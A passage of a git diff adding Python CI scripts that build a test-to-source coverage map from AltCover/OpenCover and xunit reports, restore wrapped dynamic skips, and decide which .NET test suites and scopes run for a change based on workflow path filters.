+        wants[name] = int(number)
+    buckets = {"plain": []}
+    buckets.update({kind: [] for kind in wants})
+    for full in listed:
+        info = sources.get(simple_name(full))
+        if info and info["kind"] in buckets:
+            buckets[info["kind"]].append(full)
+    counts = {kind: min(number, len(buckets[kind])) for kind, number in wants.items()}
+    counts["plain"] = max(args.total - sum(counts.values()), 0)
+    chosen = {kind: spread(buckets[kind], counts[kind]) for kind in buckets}
+    manifest = {}
+    lines = []
+    for kind, names in chosen.items():
+        for full in names:
+            manifest[full] = {"kind": kind, "file": sources[simple_name(full)]["file"]}
+            lines.append(full)
+    with open(args.out, "w", encoding="utf-8", newline="\n") as handle:
+        handle.write("\n".join(lines) + "\n")
+    with open(args.manifest, "w", encoding="utf-8", newline="\n") as handle:
+        json.dump(manifest, handle, indent=1, sort_keys=True)
+    print("%s: listed %d classes; candidates %s; chose %s (%d total)" % (
+        args.profile, len(listed), " ".join("%s=%d" % (k, len(v)) for k, v in sorted(buckets.items())),
+        " ".join("%s=%d" % (k, len(v)) for k, v in sorted(chosen.items())), len(lines)))
+    return 0 if lines else 1
+
+
+def failure_message(test):
+    failure = test.find("failure")
+    if failure is None:
+        return ""
+    message = failure.find("message")
+    return (message.text or "") if message is not None else ""
+
+
+def cmd_unwrap_skips(args):
+    """Turn an instrumented run's wrapped dynamic skips back into skips.
+
+    AltCover rewrites an instrumented async [Fact] so that the method waits on its own task (the failure's stack
+    is `Task.Wait` called from the test method itself).  A dynamic skip (`Assert.Skip*`) thrown inside the async
+    body therefore surfaces as an AggregateException whose message does not start with the skip token, and
+    xunit v3 reports a failure instead of a skip.  The wrap is in the rewritten test method, not in product or test
+    source, and 760 Darling test files use dynamic skips, so the report is repaired here instead.
+
+    Guards: a test is converted only when its failure text carries the skip token AND the plain run of the same
+    test was a skip.  A test the plain run did not skip, or any other failure, stays a failure.  Nothing is
+    ever converted to a pass.  The original report is kept next to the result as `<name>.raw.xml`.
+
+    Without `--plain` (the map producer runs every class once, instrumented, and has no plain run to compare with)
+    a failure that carries the skip token is converted on the token alone.  Only `Assert.Skip*` writes that token,
+    and the producer reads coverage from the run, not the pass/fail counts, so this cannot hide a real failure."""
+    plain_skips = None  # None: no plain run to compare with (the map producer), so the skip token alone decides
+    if args.plain:
+        plain_skips = set()
+        for _, el in ET.iterparse(args.plain, events=("end",)):
+            if el.tag == "test":
+                if (el.get("result") or "").lower() == "skip":
+                    plain_skips.add(el.get("name"))
+                el.clear()
+    tree = ET.parse(args.instr)
+    converted = []
+    kept = []
+    for test in tree.getroot().iter("test"):
+        if (test.get("result") or "").lower() != "fail":
+            continue
+        message = failure_message(test)
+        if SKIP_TOKEN not in message:
+            continue
+        if plain_skips is not None and test.get("name") not in plain_skips:
+            kept.append(test.get("name"))
+            continue
+        reason = message[message.index(SKIP_TOKEN) + len(SKIP_TOKEN):].split("\n", 1)[0].strip().rstrip(")")
+        failure = test.find("failure")
+        if failure is not None:
+            test.remove(failure)
+        test.set("result", "Skip")
+        ET.SubElement(test, "reason").text = reason
+        converted.append(test.get("name"))
+    if converted:
+        # Counts live on the collection and assembly elements; move each converted test from failed to skipped.
+        moved_names = set(converted)
+        for parent in tree.getroot().iter():
+            if parent.tag not in ("collection", "assembly"):
+                continue
+            moved = sum(1 for test in parent.iter("test") if test.get("name") in moved_names)
+            if moved and parent.get("failed") is not None and parent.get("skipped") is not None:
+                parent.set("failed", str(max(int(parent.get("failed")) - moved, 0)))
+                parent.set("skipped", str(int(parent.get("skipped")) + moved))
+        raw = os.path.splitext(args.instr)[0] + ".raw.xml"
+        if not os.path.exists(raw):
+            os.replace(args.instr, raw)
+        tree.write(args.instr, encoding="utf-8", xml_declaration=True)
+    print("unwrap-skips: %d converted back to skips, %d left failing (skip token, but the plain run did not skip)" % (
+        len(converted), len(kept)))
+    for name in converted[:12]:
+        print("  skip restored: " + name)
+    for name in kept[:12]:
+        print("  still failing: " + name)
+    return 0
+
+
+def class_of_tracked(name: str) -> str:
+    """`System.Void Ns.Outer/Inner::Method(System.String)` -> `Ns.Outer+Inner` (the declaring type)."""
+    left = name.split("::", 1)[0]
+    return left.split(" ")[-1].replace("/", "+")
+
+
+def parse_report(path, root):
+    """Stream an OpenCover report.  Returns (context -> set(files), file stats, totals)."""
+    root_norm = norm(root).rstrip("/").lower() + "/"
+    ctx_files: dict[str, set] = {}
+    file_stats: dict[str, list] = {}  # file -> [visits, visits with a context]
+    totals = {"modules": 0, "methods": 0, "points": 0, "points_visited": 0, "points_visited_with_context": 0,
+              "visits": 0, "visits_with_context": 0, "tracked_methods": 0, "tracked_refs": 0, "tracked_uid_collisions": 0, "unresolved_refs": 0, "points_partly_outside_context": 0, "points_fully_in_context": 0, "context_refs_on_visited_points": 0,
+              "ref_owner": {}}
+    stack = []
+    names: dict[str, str] = {}
+    resolved: set = set()
+    files = {}
+    pairs = set()
+    mod_stats: dict = {}  # file uid -> [visits, visits with a context], per module (uids repeat across modules)
+    method_file = None
+    point = None  # [file, vc, ref_vc, ref_count]
+
+    def finish_point():
+        nonlocal point
+        if point is None:
+            return
+        file, vc, ref_vc, ref_count = point
+        totals["points"] += 1
+        if vc > 0:
+            totals["points_visited"] += 1
+            totals["visits"] += vc
+            totals["visits_with_context"] += min(ref_vc, vc) if ref_count else 0
+            if ref_count:
+                totals["points_visited_with_context"] += 1
+                # A point whose per-context visit counts add up to less than its total was also reached
+                # outside every context (a constructor, a fixture, a pool thread started by the test).
+                totals["points_partly_outside_context" if ref_vc < vc else "points_fully_in_context"] += 1
+                totals["context_refs_on_visited_points"] += ref_count
+            stat = mod_stats.setdefault(file, [0, 0])
+            stat[0] += vc
+            stat[1] += min(ref_vc, vc) if ref_count else 0
+        point = None
+
+    for event, el in ET.iterparse(path, events=("start", "end")):
+        tag = el.tag
+        if event == "start":
+            stack.append(tag)
+            if tag == "Module":
+                totals["modules"] += 1
+                files = {}
+                pairs = set()
+                mod_stats = {}
+            elif tag == "File":
+                files[el.get("uid")] = norm(el.get("fullPath") or "")
+            elif tag == "Method":
+                totals["methods"] += 1
+                method_file = None
+            elif tag == "FileRef" and "Method" in stack:
+                method_file = el.get("uid")
+            elif tag in ("SequencePoint", "MethodPoint"):
+                finish_point()
+                point = [el.get("fileid") or method_file, int(el.get("vc") or 0), 0, 0]
+            elif tag == "TrackedMethodRef":
+                uid = el.get("uid")
+                vc = int(el.get("vc") or 0)
+                owner = stack[-3] if len(stack) >= 3 else "?"
+                totals["tracked_refs"] += 1
+                totals["ref_owner"][owner] = totals["ref_owner"].get(owner, 0) + 1
+                file = (point[0] if point is not None else None) or method_file
+                if point is not None:
+                    point[2] += vc
+                    point[3] += 1
+                pairs.add((uid, file))
+        else:
+            if tag in ("SequencePoint", "MethodPoint"):
+                finish_point()
+            elif tag == "Method":
+                finish_point()
+                el.clear()
+            elif tag == "TrackedMethod":
+                totals["tracked_methods"] += 1
+            elif tag == "TrackedMethods":
+                pass
+            elif tag == "Module":
+                for fuid, (visit_count, ctx_count) in mod_stats.items():
+                    if fuid in files:
+                        stat = file_stats.setdefault(files[fuid], [0, 0])
+                        stat[0] += visit_count
+                        stat[1] += ctx_count
+                # TrackedMethod uids are numbered across the whole report, and a product module's points
+                # refer to test methods listed in the TEST module, so names are resolved after the last
+                # module rather than inside the module that holds the reference.
+                for tm in el.iter("TrackedMethod"):
+                    uid, name = tm.get("uid"), tm.get("name") or ""
+                    if uid in names and names[uid] != name:
+                        totals["tracked_uid_collisions"] += 1
+                    names[uid] = name
+                for uid, fuid in pairs:
+                    if fuid in files:
+                        resolved.add((uid, files[fuid]))
+                el.clear()
+            stack.pop()
+    for uid, full in resolved:
+        name = names.get(uid)
+        if not name:
+            totals["unresolved_refs"] += 1
+            continue
+        if full.lower().startswith(root_norm):
+            ctx_files.setdefault(class_of_tracked(name), set()).add(full[len(root_norm):])
+    return ctx_files, file_stats, totals, root_norm
+
+
+def xunit_times(path):
+    """Per-class seconds and outcome counts from an xunit `-xml` report (v2 and v3 shapes)."""
+    seconds: dict[str, float] = {}
+    counts = {"pass": 0, "fail": 0, "skip": 0}
+    if not path or not os.path.exists(path):
+        return seconds, counts
+    for _, el in ET.iterparse(path, events=("end",)):
+        if el.tag == "test":
+            cls = (el.get("type") or "").replace("/", "+")
+            try:
+                seconds[cls] = seconds.get(cls, 0.0) + float(el.get("time") or 0)
+            except ValueError:
+                pass
+            result = (el.get("result") or "").lower()
+            counts["pass" if result == "pass" else "fail" if result == "fail" else "skip"] += 1
+            el.clear()
+    return seconds, counts
+
+
+def hole_detail(info, visited, root):
+    """Why a class has no product file: what it did visit, and what its own source text suggests."""
+    detail = {"kind": info.get("kind"), "test_files_visited": sorted(visited)[:6]}
+    path = os.path.join(root, info.get("file") or "")
+    try:
+        with open(path, encoding="utf-8-sig", errors="replace") as handle:
+            text = handle.read()
+    except OSError:
+        return detail
+    detail["reads_source_text"] = bool(TEXT_READ.search(text))
+    detail["uses_reflection_or_typeof"] = bool(REFLECTION.search(text))
+    detail["needs_pg_runtime"] = RUNTIME_MARKER in text
+    return detail
+
+
+def cmd_summarize(args):
+    ctx_files, file_stats, totals, root_prefix = parse_report(args.report, args.root)
+    with open(args.manifest, encoding="utf-8") as handle:
+        manifest = json.load(handle)
+    plain_seconds, plain_counts = xunit_times(args.plain_xml)
+    instr_seconds, instr_counts = xunit_times(args.instr_xml)
+    timing = {}
+    if args.timing and os.path.exists(args.timing):
+        with open(args.timing, encoding="utf-8-sig") as handle:
+            timing = json.load(handle)
+
+    test_prefixes = tuple(p.strip("/") + "/" for p in args.test_dir_prefix)
+
+    def is_test_file(rel):
+        return rel.startswith(test_prefixes)
+
+    # Product-file universe and per-class rows.
+    universe = sorted({f for fs in ctx_files.values() for f in fs if not is_test_file(f)})
+    index = {f: i for i, f in enumerate(universe)}
+    selected = {cls.replace("/", "+"): info for cls, info in manifest.items()}
+    classes = {}
+    holes = {"no_context": [], "no_product_files": [], "detail": {}}
+    per_kind = {}
+    for cls, info in sorted(selected.items()):
+        got = ctx_files.get(cls)
+        if got is None:
+            holes["no_context"].append(cls)
+            continue
+        product = sorted(index[f] for f in got if f in index)
+        if not product:
+            holes["no_product_files"].append(cls)
+            holes["detail"][cls] = hole_detail(info, got, args.root)
+        classes[cls] = {"own": info.get("file"), "files": product,
+                        "seconds": round(instr_seconds.get(cls, plain_seconds.get(cls, 0.0)), 3)}
+        per_kind.setdefault(info["kind"], []).append(len(product))
+    unselected = sorted(c for c in ctx_files if c not in selected)
+
+    def stat(values):
+        if not values:
+            return None
+        return {"n": len(values), "min": min(values), "median": statistics.median(values), "max": max(values)}
+
+    # Visits to product files only: test-method bodies are always inside a context by construction, so the
+    # overall share flatters the tool.  `outside_root` is source the checkout does not hold (generated code).
+    visits = with_ctx = test_visits = outside_visits = 0
+    for path, (visit_count, ctx_count) in file_stats.items():
+        if not path.lower().startswith(root_prefix):
+            outside_visits += visit_count
+        elif is_test_file(path[len(root_prefix):]):
+            test_visits += visit_count
+        else:
+            visits += visit_count
+            with_ctx += ctx_count
+    weakest = sorted(
+        ((f, v, c) for f, (v, c) in file_stats.items()
+         if f.lower().startswith(root_prefix) and v >= 5 and not is_test_file(f[len(root_prefix):])),
+        key=lambda row: (row[2] / row[1], -row[1]))[:25]
+    # File-level view, the one the map cares about: a product file the run visited but never attributed
+    # to any test class cannot select a single class.
+    product_files = {f[len(root_prefix):]: v for f, (v, c) in file_stats.items()
+                     if f.lower().startswith(root_prefix) and not is_test_file(f[len(root_prefix):]) and v > 0}
+    attributed = set(universe)
+    unattributed = sorted(((v, f) for f, v in product_files.items() if f not in attributed), reverse=True)
+    plain_total = timing.get("plain_seconds")
+    instr_total = timing.get("instrumented_seconds")
+    summary = {
+        "schema": SCHEMA,
+        "tool": args.tool,
+        "classes_selected": len(selected),
+        "classes_with_files": len(classes) - len(holes["no_product_files"]),
+        "holes": holes,
+        "contexts_for_unselected_classes": unselected[:50],
+        "files_in_universe": len(universe),
+        "files_per_class": {kind: stat(vals) for kind, vals in sorted(per_kind.items())},
+        "visits": {
+            "points_in_report": totals["points"], "points_visited": totals["points_visited"],
+            "points_visited_with_context": totals["points_visited_with_context"],
+            "product_visits": visits, "product_visits_with_context": with_ctx,
+            "share_with_context": round(with_ctx / visits, 4) if visits else None,
+            "test_file_visits": test_visits, "outside_root_visits": outside_visits,
+            "points_partly_outside_context": totals["points_partly_outside_context"],
+            "points_fully_in_context": totals["points_fully_in_context"],
+            "contexts_per_context_bearing_point": round(
+                totals["context_refs_on_visited_points"] / totals["points_visited_with_context"], 2)
+            if totals["points_visited_with_context"] else None,
+            "unresolved_refs": totals["unresolved_refs"], "tracked_uid_collisions": totals["tracked_uid_collisions"],
+            "tracked_methods": totals["tracked_methods"], "tracked_refs": totals["tracked_refs"],
+            "tracked_ref_owner_tags": totals["ref_owner"],
+        },
+        "files_visited_by_any_code": len(product_files),
+        "files_attributed_to_a_class": len(attributed & set(product_files)),
+        "files_visited_never_attributed": len(unattributed),
+        "never_attributed_top": [{"file": f, "visits": v} for v, f in unattributed[:40]],
+        "weakest_context_files": [{"file": f[len(root_prefix):], "visits": v, "with_context": c}
+                                  for f, v, c in weakest],
+        "timing_seconds": {"plain": plain_total, "instrumented": instr_total,
+                           "ratio": round(instr_total / plain_total, 2) if plain_total and instr_total else None,
+                           "instrument_step": timing.get("instrument_seconds"),
+                           "line_and_branch_mode": {k: v for k, v in timing.items() if k.startswith("line_")},
+                           "method_mode_report_bytes": os.path.getsize(args.report),
+                           "xunit_plain_sum": round(sum(plain_seconds.values()), 1),
+                           "xunit_instrumented_sum": round(sum(instr_seconds.values()), 1)},
+        "outcomes": {"plain": plain_counts, "instrumented": instr_counts},
+    }
+    with open(args.summary_out, "w", encoding="utf-8", newline="\n") as handle:
+        json.dump(summary, handle, indent=1)
+    suite = args.suite
+    with open(args.map_out, "w", encoding="utf-8", newline="\n") as handle:
+        json.dump({"schema": SCHEMA, "tool": args.tool, "files": universe, "classes": {suite: classes}},
+                  handle, separators=(",", ":"))
+    print(json.dumps(summary, indent=1)[:6000])
+    return 0
+
+
+def main(argv=None):
+    parser = argparse.ArgumentParser(description=__doc__.split("\n", 1)[0])
+    sub = parser.add_subparsers(dest="command", required=True)
+    sel = sub.add_parser("select")
+    sel.add_argument("--profile", choices=sorted(PROFILE_WANTS), default="darling")
+    sel.add_argument("--want", action="append", default=[], help="kind=count, overrides the profile default")
+    sel.add_argument("--list", required=True)
+    sel.add_argument("--tests-dir", action="append", required=True)
+    sel.add_argument("--root", required=True)
+    sel.add_argument("--total", type=int, default=100)
+    sel.add_argument("--out", required=True)
+    sel.add_argument("--manifest", required=True)
+    sel.set_defaults(func=cmd_select)
+    unwrap = sub.add_parser("unwrap-skips")
+    unwrap.add_argument("--plain", help="the plain run's xunit report; without it the skip token alone converts")
+    unwrap.add_argument("--instr", required=True)
+    unwrap.set_defaults(func=cmd_unwrap_skips)
+    summ = sub.add_parser("summarize")
+    summ.add_argument("--report", required=True)
+    summ.add_argument("--root", required=True)
+    summ.add_argument("--manifest", required=True)
+    summ.add_argument("--plain-xml")
+    summ.add_argument("--instr-xml")
+    summ.add_argument("--timing")
+    summ.add_argument("--suite", default="Darling.Tests")
+    summ.add_argument("--tool", default="altcover")
+    summ.add_argument("--test-dir-prefix", action="append", default=["Darling/Darling.Tests", "Lite.Tests"])
+    summ.add_argument("--summary-out", required=True)
+    summ.add_argument("--map-out", required=True)
+    summ.set_defaults(func=cmd_summarize)
+    args = parser.parse_args(argv)
+    return args.func(args)
+
+
+if __name__ == "__main__":
+    sys.exit(main())
diff --git a/.github/scripts/ci-select.py b/.github/scripts/ci-select.py
new file mode 100644
index 0000000000..eec905f8e9
--- /dev/null
+++ b/.github/scripts/ci-select.py
@@ -0,0 +1,1255 @@
+#!/usr/bin/env python3
+"""The ONE place CI's test-selection rules live (#5459).
+
+Input: the changed files of a run (and the event). Output: which test jobs run and in what scope.
+
+These readers use the same code:
+
+* build.yml's jobs call `lite-scope`, `darling-scope` and `tree-scope` with the area answers
+  dorny/paths-filter already computed, and get the decision back as `key=value` lines for $GITHUB_OUTPUT.
+* `map-select` answers, from a class-to-file map, which test classes a pull request needs (build.yml's
+  test-map-select job writes it as an artifact), and `map-keep` reads that artifact for one suite: the Darling PG,
+  Lite and no-store Darling passes of a pull request keep only those classes, and run everything when the answer
+  is FULL, missing or unreadable. See map_select() for the map's schema. `--replay --map FILE` also replays the
+  corpus against such a map and reports what it would miss (it does not fail on that yet).
+* `--replay` reads .github/ci-history/failures.jsonl (a trimmed record of every run with a real test failure)
+  and checks that each failing class would have been selected for that run's changed files. A cut to the rules
+  lands only while the replay finds 0 misses. A Guard-tagged test runs it on every pull request.
+
+The path patterns are NOT copied here. They are read from the filter blocks in .github/workflows/build.yml and
+from .github/darling-paths-filter.yml, the same text dorny/paths-filter evaluates, so the replay and the
+workflow cannot disagree about which area a file belongs to. What lives here is the decision logic that
+used to be spread over `if:` expressions and a bash if-chain.
+
+Standard library only (the Windows and Linux runners both have Python 3).
+"""
+from __future__ import annotations
+
+import argparse
+import datetime
+import gzip
+import json
+import os
+import re
+import subprocess
+import sys
+import xml.etree.ElementTree as ET
+
+ROOT = os.path.normpath(os.path.join(os.path.dirname(os.path.abspath(__file__)), "..", ".."))
+WORKFLOW = os.path.join(ROOT, ".github", "workflows", "build.yml")
+DARLING_FILTER = os.path.join(ROOT, ".github", "darling-paths-filter.yml")
+CORPUS = os.path.join(ROOT, ".github", "ci-history", "failures.jsonl")
+ACCEPTED = os.path.join(ROOT, ".github", "ci-history", "replay-accepted.txt")
+
+
+# ---------------------------------------------------------------------------------------------------------
+# Glob matching: the subset of micromatch (dot: true) the filter files use.
+# ---------------------------------------------------------------------------------------------------------
+
+def _segment_regex(seg: str) -> str:
+    """One path segment (no '/') as a regex fragment that matches a whole segment name."""
+    m = re.fullmatch(r"!\((.*)\)", seg)
+    if m:
+        inner = _segment_regex(m.group(1))
+        return rf"(?!(?:{inner})$)[^/]+"
+    out: list[str] = []
+    i = 0
+    while i < len(seg):
+        c = seg[i]
+        if c == "*":
+            out.append("[^/]*")
+        elif c == "?":
+            out.append("[^/]")
+        elif c == "{":
+            j = seg.index("}", i)
+            alts = seg[i + 1:j].split(",")
+            out.append("(?:" + "|".join(_segment_regex(a) for a in alts) + ")")
+            i = j
+        else:
+            out.append(re.escape(c))
+        i += 1
+    return "".join(out)
+
+
+def compile_glob(pattern: str) -> re.Pattern[str]:
+    parts = pattern.split("/")
+    rx = ""
+    for idx, seg in enumerate(parts):
+        last = idx == len(parts) - 1
+        if seg == "**":
+            rx += ".*" if last else "(?:[^/]+/)*"
+        else:
+            rx += _segment_regex(seg) + ("" if last else "/")
+    return re.compile(rx + r"\Z")
+
+
+_GLOB_CACHE: dict[str, re.Pattern[str]] = {}
+
+
+def matches(pattern: str, path: str) -> bool:
+    rx = _GLOB_CACHE.get(pattern)
+    if rx is None:
+        rx = _GLOB_CACHE[pattern] = compile_glob(pattern)
+    return rx.match(path) is not None
+
+
+# ---------------------------------------------------------------------------------------------------------
+# Reading the filter blocks.
+# ---------------------------------------------------------------------------------------------------------
+
+_PATTERN_LINE = re.compile(r"^\s*-\s+'([^']*)'")
+_KEY_LINE = re.compile(r"^(\s*)([A-Za-z0-9_-]+):\s*(?:#.*)?$")
+
+
+def _parse_filter_lines(lines: list[str]) -> dict[str, list[str]]:
+    filters: dict[str, list[str]] = {}
+    current: list[str] | None = None
+    for line in lines:
+        s = line.strip()
+        if not s or s.startswith("#"):
+            continue
+        p = _PATTERN_LINE.match(line)
+        if p:
+            if current is not None:
+                current.append(p.group(1))
+            continue
+        k = _KEY_LINE.match(line)
+        if k:
+            current = filters.setdefault(k.group(2), [])
+    return filters
+
+
+def load_workflow_filters(path: str = WORKFLOW) -> dict[str, dict[str, list[str]]]:
+    """{job id: {filter name: [patterns]}} for every inline `filters: |` block in the workflow."""
+    with open(path, encoding="utf-8") as fh:
+        lines = fh.read().split("\n")
+    out: dict[str, dict[str, list[str]]] = {}
+    job = ""
+    in_jobs = False
+    i = 0
+    while i < len(lines):
+        line = lines[i]
+        if line.startswith("jobs:"):
+            in_jobs = True
+        elif in_jobs and re.match(r"^  [A-Za-z0-9_-]+:\s*$", line):
+            job = line.strip().rstrip(":")
+        m = re.match(r"^(\s+)filters:\s*\|\s*$", line)
+        if m:
+            base = len(m.group(1))
+            block: list[str] = []
+            i += 1
+            while i < len(lines) and (not lines[i].strip() or len(lines[i]) - len(lines[i].lstrip()) > base):
+                block.append(lines[i])
+                i += 1
+            out[job] = _parse_filter_lines(block)
+            continue
+        i += 1
+    return out
+
+
+def load_file_filters(path: str = DARLING_FILTER) -> dict[str, list[str]]:
+    with open(path, encoding="utf-8") as fh:
+        return _parse_filter_lines(fh.read().split("\n"))
+
+
+class Rules:
+    """The pattern sets, loaded once."""
+
+    def __init__(self, workflow: str = WORKFLOW, darling_filter: str = DARLING_FILTER) -> None:
+        wf = load_workflow_filters(workflow)
+        self.build = wf["build"]
+        self.lite_shards = wf["lite-tests"]
+        self.tree = wf["darling-tree-guards"]
+        self.guard = wf["guard-tests"]
+        self.gate = load_file_filters(darling_filter)
+
+    @staticmethod
+    def _hits(patterns: list[str], files: list[str]) -> list[str]:
+        return [f for f in files if any(matches(p, f) for p in patterns)]
+
+    def areas(self, files: list[str]) -> dict[str, bool]:
+        """Every area answer dorny/paths-filter gives a job, by name, for one list of changed files."""
+        out: dict[str, bool] = {}
+        for name, pats in self.build.items():
+            out[name] = bool(self._hits(pats, files))
+        out["docs_count"] = len(self._hits(self.build["docs"], files))  # type: ignore[assignment]
+        out["all_count"] = len(files)  # type: ignore[assignment]
+        for name, pats in self.gate.items():
+            out["gate_" + name] = bool(self._hits(pats, files))
+        for name, pats in self.lite_shards.items():
+            out[name] = bool(self._hits(pats, files))
+        out["workflow"] = any(matches(p, f) for p in self.tree["workflow"] for f in files)
+        out["lite_tree_count"] = len(self._hits(self.tree["lite_tree"], files))  # type: ignore[assignment]
+        return out
+
+
+# ---------------------------------------------------------------------------------------------------------
+# The decisions.
+# ---------------------------------------------------------------------------------------------------------
+
+def darling_scope(event: str, runs: bool, shards_run: bool, full_paths: bool = True) -> str:
+    """What the build job's no-store "Run Darling tests" step runs: full, guard (only the Stage=Guard classes),
+    reads-lite (the Guard classes plus the Reads=Lite ones) or none.
+
+    The PostgreSQL shards run every Darling.Tests class, with a live store, whenever the Darling gate
+    (.github/darling-paths-filter.yml) matches. The no-store pass would repeat their non-live classes, so while the
+    shards run it keeps only the Guard stage (cut 3b of #5459; the replay finds no failing class it stops covering).
+    A release always runs the whole suite.
+
+    Cut 3a of #5459: the step also fires for a Lite file alone (Darling.Tests reads Lite source in its parity guards,
+    so a Lite-only change has to reach the suite). On a pull request that reaches it ONLY through those Lite paths
+    (`full_paths` false: no Darling file, shared library or root build file changed) the classes that read Lite are
+    the only ones the change can affect, so it runs the Guard stage and the classes tagged Reads=Lite, the mirror of
+    Lite's `reads` mode for a Darling-only change. Push and merge-queue runs keep the whole suite, as Lite's do."""
+    if not runs:
+        return "none"
+    if event != "release" and shards_run:
+        return "guard"
+    if event == "pull_request" and not full_paths:
+        return "reads-lite"
+    return "full"
+
+
+def tree_scope(event: str, all_count: int, lite_count: int) -> str:
+    """What darling-tree-guards runs once it has decided to run: full, or reads-lite (cut 3c of #5459).
+
+    The job runs the Darling suite when the build job's Darling step was skipped, which for a change made entirely
+    of Lite files (a Lite.Tests edit, a Lite file type the `darling` filter does not name) leaves only the classes
+    that read Lite to run. Every changed file must be under Lite/ or Lite.Tests/, and only a pull request narrows."""
+    if event == "pull_request" and all_count > 0 and lite_count == all_count:
+        return "reads-lite"
+    return "full"
+
+
+def scope_filter(scope: str) -> str:
+    """The Darling.Tests runner arguments for a scope ('' is the whole suite)."""
+    if scope == "guard":
+        return "-trait Stage=Guard"
+    if scope == "reads-lite":
+        return "-trait Stage=Guard -trait Reads=Lite"
+    return ""
+
+
+def lite_scope(event: str, lite: bool, core: bool, root: bool, reads: bool, linked: bool) -> str:
+    """How much of the Lite suite a pull request runs: full, reads (only Reads=Darling classes) or none."""
+    if lite or core or root or linked:
+        return "full"
+    if reads and event != "pull_request":
+        return "full"
+    if reads:
+        return "reads"
+    return "none"
+
+
+def decide(files: list[str], event: str, rules: Rules) -> dict:
+    """Which jobs run, and with which filter, for one change. Everything the workflow decides, in one place."""
+    a = rules.areas(files)
+    release = event == "release"
+    all_count, docs_count = a["all_count"], a["docs_count"]
+    docs_only = all_count > 0 and all_count == docs_count
+    area_names = ("root", "core", "installer_core", "dashboard", "lite", "installer", "darling")
+    fastpath = (not release) and docs_only and not any(a[n] for n in area_names)
+
+    build_lite = release or a["lite"] or a["core"] or a["root"]
+    build_installer = release or a["installer"] or a["installer_core"] or a["root"]
+    build_dashboard = release or a["dashboard"] or a["core"] or a["installer_core"] or a["root"]
+    build_darling = release or a["darling"] or a["core"] or a["root"]
+
+    pg_run = (not release) and a["gate_darling"]
+    # The tree guards run when the build job's Darling step did not (or build.yml itself changed).
+    tree_run = (not release) and not fastpath and (not build_darling or a["workflow"])
+
+    mode = lite_scope(event, a["lite_shard"], a["core_shard"], a["root_shard"], a["darling_reads_shard"],
+                      a["lite_linked_shard"]) if not release else "release"
+
+    return {
+        "guard_run": (not release) and not docs_only,
+        "docs_fastpath": fastpath,
+        "build_lite_tests": build_lite,
+        "build_installer_tests": build_installer,
+        "build_dashboard_tests": build_dashboard,
+        "build_darling_tests": build_darling,
+        "darling_scope": darling_scope(
+            event, build_darling, pg_run, release or a["darling_full"] or a["core"] or a["root"]),
+        "darling_pg": pg_run,
+        "darling_linux": release or a["gate_darling"],
+        "lite_mode": mode,
+        "tree_guards": tree_run,
+        "tree_scope": tree_scope(event, all_count, a["lite_tree_count"]) if tree_run else "none",
+    }
+
+
+# ---------------------------------------------------------------------------------------------------------
+# The test classes of the tree (for the replay).
+# ---------------------------------------------------------------------------------------------------------
+
+_CLASS_DECL = re.compile(
+    r"^[ \t]*(?:(?:public|internal|private|protected|sealed|static|abstract|partial)\s+)*class\s+(\w+)")
+_TRAIT = re.compile(r'Trait\(\s*"(\w+)"\s*,\s*"(\w+)"\s*\)')
+
+# The test map is built on shards that set only DARLING_TEST_PG and DARLING_TEST_PGRUNTIME (nightly.yml's "Run this
+# shard's classes" step; a test pins that env block to MAP_SHARD_ENV). A class that gates its tests on any OTHER
+# DARLING_TEST_PG_* or DARLING_TEST_PGRUNTIME_* variable (the log-format targets, the log-rotation targets, the
+# store-upgrade fixtures) skips at map build, so the map has no coverage edges for what its tests would run and a
+# change to the code under them would never select it (#5459; measured on the 2026-10-09 map: 16 files, 19
+# mapped classes, 12 to 44 coverage files each against 100 and more for a fully covered class). The map cannot tell
+# us, so the SOURCE does: every class in a file that names such a variable in a quoted literal carries the Gate=Env
+# trait and map_select always selects it. It is found from the source at selection time, so a new gated class needs
+# no list edit.
+#
+# What the scan cannot see (a miss here is silent, so a new gate must be written to be seen): it reads each test file
+# on its own, for a quoted "DARLING_TEST_PG_..." or "DARLING_TEST_PGRUNTIME_..." literal. A gate variable that a class
+# reads through a constant or a helper declared in ANOTHER file, or one that is not named DARLING_TEST_PG_* /
+# DARLING_TEST_PGRUNTIME_*, is invisible to it, and the class stays unmarked and unmapped. A new gate of either kind
+# must also name its variable as a quoted literal in the class's own file (or take the Gate=Env trait by hand).
+#
+# What it costs: the mark is per CLASS, not per test, so a class where only some tests are gated runs whole on every
+# narrowed Darling pull request, and the darling-pg job sets these variables, so the gated tests really run. Measured
+# on a full run of this change (workflow run 37911378693, the 19 test classes that carry the mark, summed test time
+# per class, the shard each lands on in brackets): DarlingStoreUpgradeTests 274 s [shard 5],
+# ManagedConfUpgradePathTests 85 s [4], DarlingManagedPostgresTests 73 s [3], PgServerLogTailCsvJsonRotationLiveTests
+# 44 s [1], PgLogBurstAndRotationLiveTests 38 s [2], PgRaiseShapedRecordsLiveTests 31 s [1],
+# PgServerLogTailRotationLiveTests 15 s [1], and 12 more classes of 11 s or less (29 s together): about 590 s of test
+# time in all. Per shard that is 274 s on shard 5, 100 s on shard 4, 90 s on shard 1, 73 s on shard 3, 43 s on shard 2
+# and 9 s on shard 0. A class runs on one thread, so shard 5 cannot get below the 274 s of DarlingStoreUpgradeTests: on
+# a narrowed pull request whose other shards finish in a minute or two, shard 5 becomes the slowest by about 3
+# minutes (it is 174 s ahead of shard 4, the next). It never passes the full run's slowest shard (shard 0, 589 s of
+# test time, against 509 s for shard 5 in that run). The shard cut is unchanged.
+MAP_SHARD_ENV = frozenset({"DARLING_TEST_PG", "DARLING_TEST_PGRUNTIME"})
+GATE_TRAIT = "Gate=Env"
+GATE_ENV_LITERAL = re.compile(r'"DARLING_TEST_PG(?:RUNTIME)?_[A-Z0-9_]+"')
+
+SUITE_DIRS = {
+    "darling": os.path.join("Darling", "Darling.Tests"),
+    "lite": "Lite.Tests",
+    "dashboard": os.path.join("deprecated", "Dashboard.Tests"),
+    "installer": os.path.join("deprecated", "Installer.Tests"),
+}
+SUITE_BY_PREFIX = {
+    "Darling.Tests": "darling",
+    "PerformanceMonitor.Darling.Tests": "darling",
+    "Lite.Tests": "lite",
+    "PerformanceMonitorLite.Tests": "lite",
+    "Dashboard.Tests": "dashboard",
+    "Installer.Tests": "installer",
+}
+
+
+def split_failed_class(cls: str) -> tuple[str, str]:
+    """(namespace prefix, simple class name) of a failing test class's full name. A nested class is reported as
+    `Ns.Outer+Inner` (some runners use `Ns.Outer/Inner`): the prefix is the namespace of the OUTER class, the text
+    before the first '+', and the simple name is the innermost class, which is the name _walk_classes yields for a
